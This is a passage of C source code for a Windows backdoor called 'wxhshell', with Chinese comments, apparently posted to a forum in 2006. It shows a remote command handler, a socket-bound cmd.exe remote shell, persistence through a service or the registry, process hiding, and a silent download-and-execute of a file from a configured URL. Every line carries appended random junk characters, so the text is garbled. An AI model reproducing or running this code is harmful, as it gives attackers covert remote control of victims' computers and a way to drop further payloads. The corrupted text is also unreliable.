  case '?': { Sn!5/9Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R\d)kcy4  
    break; Tg ~SGAc  
  } ~V6wcXd  
  // 安装 w_]`)$9  
  case 'i': { s'JbG&T[J  
    if(Install()) 5|0}   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #:LI,t  
    else M"Q{lR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >qC,IQ'  
    break; :M _N  
    } *'jI>^o  
  // 卸载 I$w:qS&:  
  case 'r': { kx31g,cf]w  
    if(Uninstall()) Vx*O^cM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '| rhm  
    else >#~>!cv6D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^(on"3sG  
    break; AD^Q`7K?uR  
    } >JckN4 v  
  // 显示 wxhshell 所在路径 [h[@? 8vB  
  case 'p': { vA&MJD{  
    char svExeFile[MAX_PATH]; ?3=y]Vb+  
    strcpy(svExeFile,"\n\r"); ]L{diD 2G  
      strcat(svExeFile,ExeFile); *9O@DF&*6  
        send(wsh,svExeFile,strlen(svExeFile),0); YgL{*XYAt  
    break; $1}Y4>3  
    } q)PLc{NO  
  // 重启 S}/5W  
  case 'b': { >7,?X_:A-1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )wyC8`&-  
    if(Boot(REBOOT)) 8]j*z n?,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vef9*u`  
    else { [D_s`'tg  
    closesocket(wsh); {j[a'Gb  
    ExitThread(0); V 0z`p"  
    } dwJnPJ=z  
    break; qN\?cW'  
    } x|`BF%e/v  
  // 关机 ~`X$b F  
  case 'd': { A"i $.dR{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7&&3@96<*#  
    if(Boot(SHUTDOWN)) AjD? _DPc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B]u!BBjC  
    else { -BcnJK0  
    closesocket(wsh); ;u;_\k<qK  
    ExitThread(0); = P$Q;d  
    } bJoP@s  
    break; U%)-_ *`z  
    } N$N 7aE$  
  // 获取shell 3HqTVq`&  
  case 's': { j: E3c\a  
    CmdShell(wsh); ]w_JbFmT  
    closesocket(wsh); `Z^\<{z  
    ExitThread(0); BU.O[?@64  
    break; W:>XXUU  
  } L$6W,D  
  // 退出 S$n?  
  case 'x': { *i>hFNLdOM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UM2yv6:/  
    CloseIt(wsh); q.VZP  
    break; "0LSy x  
    } [<WoXS1LX  
  // 离开 '| p"HbJ  
  case 'q': { Rxlz`&   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *alifdp  
    closesocket(wsh); [>KnMi=o)  
    WSACleanup(); {F;"m&3Lt  
    exit(1); '^`iF,rg  
    break; QXW> }GdKZ  
        } liMw(F2  
  } yz"hU  
  } T: SqENV  
E24j(>   
  // 提示信息 Mm;[f'{M)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wLzV#8>  
} vNju|=Lo  
  } qu&p)*M5  
m d `=2l  
  return; yKy )%i  
} g7{:F\S  
q4v:s   
// shell模块句柄 !%[fi[p  
int CmdShell(SOCKET sock) Xzl$Qc  
{ ICiGZ'k  
STARTUPINFO si; NFF!g]QN  
ZeroMemory(&si,sizeof(si)); KciN"g|X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qeb}~FL"o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &8I }q]'k  
PROCESS_INFORMATION ProcessInfo; `"o{MaFA  
char cmdline[]="cmd"; >.I9S{7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +,cd$,18  
  return 0; )7p(htCz5  
} B*t1Y<>x  
upZ tVdd  
// 自身启动模式 `X)A$lLr  
int StartFromService(void) 'rTJ*1i  
{ r`\@Fv,&#  
typedef struct T$<yl#FY  
{ N.0g%0A.D  
  DWORD ExitStatus; @vB-.XU  
  DWORD PebBaseAddress; OL%}C*Zq  
  DWORD AffinityMask; /4N?v. jf  
  DWORD BasePriority; %~} ,N  
  ULONG UniqueProcessId; v*&j A 8D  
  ULONG InheritedFromUniqueProcessId; @biU@[D  
}   PROCESS_BASIC_INFORMATION; *nc3A[B#C  
L|L|liWd  
PROCNTQSIP NtQueryInformationProcess; V]GF53D  
}+Q4s]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wph8ln"C-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R7K`9 c1f6  
(> _Lb  
  HANDLE             hProcess; Zw _aeJ  
  PROCESS_BASIC_INFORMATION pbi; &]GR*a  
G0~Z|P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IUDH"~f  
  if(NULL == hInst ) return 0; \yZVn6GVr  
SM%/pu;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,RM8D)m\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QnP?j&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); znSlSQpTv  
>*opEI+  
  if (!NtQueryInformationProcess) return 0; wy8Q=X:vP  
=mF"D:s*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KeRC8mYp  
  if(!hProcess) return 0; :WX OD  
+2}cR66%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  S,ea[$_  
x0jaTlU/  
  CloseHandle(hProcess); idGn{f((f  
_ E-\aS{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F'sX ^/;  
if(hProcess==NULL) return 0; :CK`v6 Qs  
,msP(*qoI  
HMODULE hMod; 'RhS%l  
char procName[255]; *9uNM@7&0  
unsigned long cbNeeded; e^3D`GA  
]1XtV<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t72u%M6  
KvEv0L<ky  
  CloseHandle(hProcess); P+ CdqOL  
E:dN)  
if(strstr(procName,"services")) return 1; // 以服务启动 W]DGt|JP  
jex\5  
  return 0; // 注册表启动 *~shvtq  
} U;4i&=.!  
?jUgDwc(w  
// 主模块 4H%#Sn#L^!  
int StartWxhshell(LPSTR lpCmdLine) -j]c(Q MA]  
{ ygj%VG  
  SOCKET wsl; IN<nZ?D#  
BOOL val=TRUE; K-)!d$$   
  int port=0; iQ(j_i'+!I  
  struct sockaddr_in door; ^|p D(v  
J`)/\9'&&  
  if(wscfg.ws_autoins) Install(); JbL3/h]  
036m\7+Qj  
port=atoi(lpCmdLine); ;tVd+[8  
vA!IcDP"  
if(port<=0) port=wscfg.ws_port; !j`<iPI7B  
,b -  
  WSADATA data; 7gN;9pc$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d^nO&it  
3N- '{c6]U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Ivv4u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fh3uo\`@  
  door.sin_family = AF_INET; ;`LG WT-<F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,7bhUE/VB  
  door.sin_port = htons(port); /CO=!*7fz  
Qs za,09  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bRyxP2  
closesocket(wsl); \V!{z;.fA  
return 1; 6'kQ(r>  
} .O'~s/h  
<!FcQVH+L  
  if(listen(wsl,2) == INVALID_SOCKET) { ZCj1Cz]"l<  
closesocket(wsl); r>ed/<_>m;  
return 1; - K?lhu  
} lSaX!${R'T  
  Wxhshell(wsl); )Cj1VjAg  
  WSACleanup(); ]tT=jN&(  
wU!-sf;]y  
return 0; 7r' _p$  
Ul /m]b6-  
} C.:S@{sK  
Qx,#Hj  
// 以NT服务方式启动 ~Yg) 8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fXWE4^jU  
{ ?2da6v,t  
DWORD   status = 0; Hy\q{  
  DWORD   specificError = 0xfffffff; R,78}7B  
h7fytO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; beikzuC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mxF+Fp~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $`7Fk%#+e  
  serviceStatus.dwWin32ExitCode     = 0; }JST(d&  
  serviceStatus.dwServiceSpecificExitCode = 0; m-\_L=QzM  
  serviceStatus.dwCheckPoint       = 0; *5oQZ".vA*  
  serviceStatus.dwWaitHint       = 0; WgR%mm^  
f/8&-L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mMllen  
  if (hServiceStatusHandle==0) return; OET/4( C  
9-{+U,3)  
status = GetLastError(); e8dZR3JL  
  if (status!=NO_ERROR) 0_ST2I"Ln  
{ ;}f {o^]'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *q=\ e9  
    serviceStatus.dwCheckPoint       = 0; ca3zY|Oo  
    serviceStatus.dwWaitHint       = 0; 4Ol1T(J#  
    serviceStatus.dwWin32ExitCode     = status; 6c(b*o  
    serviceStatus.dwServiceSpecificExitCode = specificError; =J)-#|eZG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hpz1Iy @  
    return; 6l2O>V  
  } l lcq~*zz  
_u6N aB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q:M'|5P  
  serviceStatus.dwCheckPoint       = 0; -a>CF^tH  
  serviceStatus.dwWaitHint       = 0; X6Z/xb@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r*mSnPz\q  
} p|nPu*R-\  
MHt ~ZVH  
// 处理NT服务事件,比如:启动、停止 g}Lm;gs!>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AU)\ lyB  
{ ji4bz#/B0  
switch(fdwControl) DAf@-~c  
{ @>$qb|j  
case SERVICE_CONTROL_STOP: Q6URaw#Yt`  
  serviceStatus.dwWin32ExitCode = 0; Hp ;$fQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A9]& w  
  serviceStatus.dwCheckPoint   = 0; iuXXFuh  
  serviceStatus.dwWaitHint     = 0; ,d lq2  
  { !PeSnO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tj*0Y-F~  
  } JQej$=*  
  return; & +k*+  
case SERVICE_CONTROL_PAUSE: )f^^hEIS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M~`^deU1  
  break; t OJyj49^a  
case SERVICE_CONTROL_CONTINUE: icIWv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f>Ua7!b  
  break; 60ciI,_`  
case SERVICE_CONTROL_INTERROGATE: G `3{Q7k  
  break; JJg;X :p  
}; :|ah u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :EYUBtTj  
} hW!n"qU  
Z;1r=p#s  
// 标准应用程序主函数 #ucb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m:0[as=  
{ K8 [Um!(  
:r "G Z  
// 获取操作系统版本 x3U>5F@  
OsIsNt=GetOsVer(); iWA?FBv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m`$Q/SyvG  
0,@^<G8?  
  // 从命令行安装 {SXSQ'=  
  if(strpbrk(lpCmdLine,"iI")) Install(); za 7+xF  
a-F I`Dv  
  // 下载执行文件 <z#Fj`2{  
if(wscfg.ws_downexe) { H=~7g3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PrfG  
  WinExec(wscfg.ws_filenam,SW_HIDE); yVXVHCB  
} a(?)r[=  
f2M*]{N  
if(!OsIsNt) { ]i0=3H2  
// 如果时win9x,隐藏进程并且设置为注册表启动 w8UUeF  
HideProc(); =)g}$r &<  
StartWxhshell(lpCmdLine); C'gv#!Q  
} xw_)~Y%\  
else O(=9&PRi  
  if(StartFromService()) d2gYB qag  
  // 以服务方式启动 jgPUR#)  
  StartServiceCtrlDispatcher(DispatchTable); Hsv)] %p  
else wWf_d jd  
  // 普通方式启动 HRM-r~2:-]  
  StartWxhshell(lpCmdLine); ;Sg.E 8  
XSK<hr0m  
return 0; s]kzXzRC?  
}
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只看该作者 1 发表于: 2006-10-10
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